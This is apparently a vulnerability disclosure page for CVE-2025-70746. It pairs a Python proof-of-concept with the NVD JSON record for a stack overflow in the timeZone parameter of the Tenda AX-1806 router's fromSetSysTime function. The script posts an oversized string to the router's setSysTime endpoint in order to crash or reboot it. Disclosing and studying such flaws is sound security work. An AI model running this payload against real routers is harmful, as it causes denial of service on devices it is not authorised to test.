CVE-2025-70746

import requests # CVE-2025-70746 PoC - Tenda AX-1806 timeZone Stack Overflow # Target: Tenda AX-1806 Router (firmware v1.0.0.1) # Vulnerability: Stack overflow in fromSetSysTime function via timeZone parameter target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 url = f"http://{target_ip}/cgi-bin/v1/setSysTime" # Generate payload with oversized timeZone parameter to trigger stack overflow # The exact overflow length depends on the specific firmware version payload_size = 500 # Adjust based on testing timeZone_payload = "A" * payload_size data = { "timeZone": timeZone_payload, "ntpServer": "pool.ntp.org", "timezone_region": "GMT+8" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[+] Exploit sent - router may have crashed or rebooted")

{"cve": {"id": "CVE-2025-70746", "sourceIdentifier": "[email protected]", "published": "2026-01-16T16:15:54.473", "lastModified": "2026-01-26T20:53:08.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the timeZone parameter of the fromSetSysTime function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Tenda AX-1806 v1.0.0.1 se descubrió que contenía un desbordamiento de pila en el parámetro timeZone de la función fromSetSysTime. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax1806_firmware:1.0.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "578F9769-EF24-4B52-83D3-9AA2C91A503D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax1806:-:*:*:*:*:*:*:*", "matchCriteriaId": "ACA44369-A513-474F-8DD0-A81B598F5B07"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/4/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}